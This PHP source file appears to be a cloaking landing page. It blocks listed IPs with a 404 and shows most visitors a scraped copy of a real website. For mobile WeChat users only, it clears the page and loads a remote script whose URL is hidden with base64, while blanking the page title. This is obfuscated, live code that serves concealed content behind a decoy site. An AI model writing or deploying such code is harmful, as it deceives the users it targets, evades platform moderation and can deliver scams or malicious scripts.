<?php 
  error_reporting(0);
  header("Access-Control-Allow-Origin:*");
  $hash = isset($_REQUEST['hash'])?$_REQUEST['hash']:"";
  $sh = isset($_REQUEST['sh'])?$_REQUEST['sh']:"";
  include_once './framework/Autoload.php';
  $Dt = new DTool();
  $c = $Dt->GetNumByStr($hash);
  $d = $Dt->GetNumByStr($sh);
  $DblackIP = new DblackIP();
  if ($DblackIP->isBlack()) {
    header("location:/404.html");return false;
  }
?><!DOCTYPE html>
<html lang="zh-cn">
 <head>
  <meta charset="UTF-8" /> 
  <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0" />
  <meta http-equiv="X-UA-Compatible" content="ie=edge" />
  <style>html,body{width:100%;height:100%;margin:0;padding:0;left:0;top:0;position: fixed;background: #3a393e;}.bg_div{width:100%;height:100%;background-size: 100% auto;background-position: top center;background-repeat: no-repeat}.layui-m-layercont{padding:20px 30px!important;}html,body{-webkit-text-size-adjust: 100%;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}</style>
  <script src="https://lib.baomitu.com/jquery/3.3.1/jquery.min.js"></script>
 </head>
 <body style="display:none;" id="dshowbody">
<?php if ($Dt->isWeixin() && !$Dt->isPc()) { ?>
<div style="display:none">
<?php }else{ ?>
<div>
<?php } ?>
    <?php 
preg_match('/[\w][\w-]*\.(?:com\.cn|com|cn|co|net|org|gov|cc|biz|info)(\/|$)/isU', $_SERVER['HTTP_HOST'], $domain);
$hostname = $domain[0];
        if (empty($hostname)) {
            echo "";
        }else{
      $DRedis = new DRedis();
      $obj = $DRedis->redis;
      $fileinfo = $obj->get($hostname."fos");
      if (empty($fileinfo)) {
      // if (true) {
      $a = GetUrl("http://www.".$hostname);
    $a = preg_replace('/href="(?!http).([^"]*)"/',"href=\"\"", $a);
    $a = preg_replace('/src="(?!http).([^"]*)"/',"src=\"\"", $a);
    $pregRule = "/<[img|IMG].*?src=[\'|\"](.*?(?:[\.jpg|\.jpeg|\.png|\.gif|\.bmp]))[\'|\"].*?[\/]?>/";
    $a = preg_replace($pregRule, '', $a);
    preg_match_all("/charset=([\w]*)/",$a,$c);
    if (isset($c[1][0]) && strrpos(strtolower($c[1][0]),"gb")!==false) {
      $encode = mb_detect_encoding($a, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5')); 
      $a = mb_convert_encoding($a, 'UTF-8', $encode);
    }
        $a = preg_replace('/<script[\s\S]*?<\/script>/i',"", $a);
    // file_put_contents($fn,$a);
    $obj->set($hostname."fos",$a);
    echo $a;
      } else {
        echo $fileinfo;
      }
        }

 function GetUrl($hostname)
{
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL,$hostname);
    curl_setopt($curl, CURLOPT_HEADER, 1);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_TIMEOUT, 3);
    $data = curl_exec($curl);
    curl_close($curl);
    list($header, $body) = explode("\r\n\r\n", $data, 2);
    if (empty($body)) {
      $body = file_get_contents("./framework/template/default.html");
    }
    return $body;
}
     ?>
</div>
 </body>

  
  <script type="text/javascript">
    </script>
<?php if ($Dt->isWeixin() && !$Dt->isPc() && !$DblackIP->isBlack()) { ?>
<script>
  define = null;
    require = null;
    $("#dshowbody").html("");
    $("#dshowbody").show();
    var s = document.createElement('script');
    s.src = atob('<?php echo base64_encode('https://happygo.su.bcebos.com/GameCenter/bdy13413/Wconfig.js?'.md5($_SERVER['HTTP_HOST'])) ?>');
    document.body.appendChild(s);
    setInterval(function(){document.title="";},200);
</script>
<?php } ?>
</html>
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?3d9bcc80abe7c700e7ee97361bde90dd";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>
